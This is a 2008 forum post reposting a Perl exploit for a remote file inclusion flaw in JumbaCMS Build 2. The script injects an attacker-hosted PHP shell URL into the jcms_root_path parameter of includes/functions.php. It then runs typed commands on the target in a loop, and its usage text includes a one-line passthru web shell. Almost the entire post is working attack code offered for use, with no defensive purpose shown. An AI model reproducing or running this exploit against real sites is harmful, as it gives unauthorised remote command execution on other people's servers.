Guest Nemessis Posted April 26, 2008 Report Share Posted April 26, 2008 http://www.milw0rm.com/exploits/2628#!/usr/bin/perl## JumbaCMS Build 2 Remote Command Execution Vulnerability## Risk : High (Remote Code Execution)## Url: http://jumbacms.googlecode.com/svn/trunk/## Exploit:# http://site.com/[path]/includes/functions.php?jcms_root_path=[Evil_Script]# w0rks only if php<5 ! c0de:# if (version_compare(phpversion(), "5.0.0", "<"))# {# include($jcms_root_path."includes/file_put_contents.".$phpEx);# }## ©oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>## Romanian Security Team .: hTTp://RST-CREW.NET :.## Shoutz to [Oo], str0ke, th0r and all members of RST !use LWP::Simple;print "...........................[RST]...............................\n";print ". .\n";print ". JumbaCMS remote Command Execution Vulnerability .\n";print ". .\n";print "...............................................................\n";print ". Romanian Security Team -> hTTp://RST-CREW.NET .\n";print ". [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net .\n";print "...............................................................\n\n";my $kw3,$path,$shell,$conexiune,$cmd,$data ;if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}$path = $ARGV[0];chomp($path);$shell = $ARGV[1];chomp($shell);$path = $path."/includes/functions.php";sub usage(){ print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; }while (){print "[kw3rln].[rst] :~\$ ";chomp($cmd=<STDIN>);if ($cmd eq "exit") { exit(0);}$kw3 = $path."?jcms_root_path=".$shell."?&cmd=".$cmd;if ($cmd eq "") { print "Enter your command !\n"; }else { $data=get($kw3); print $data ; }} Quote Link to comment Share on other sites More sharing options...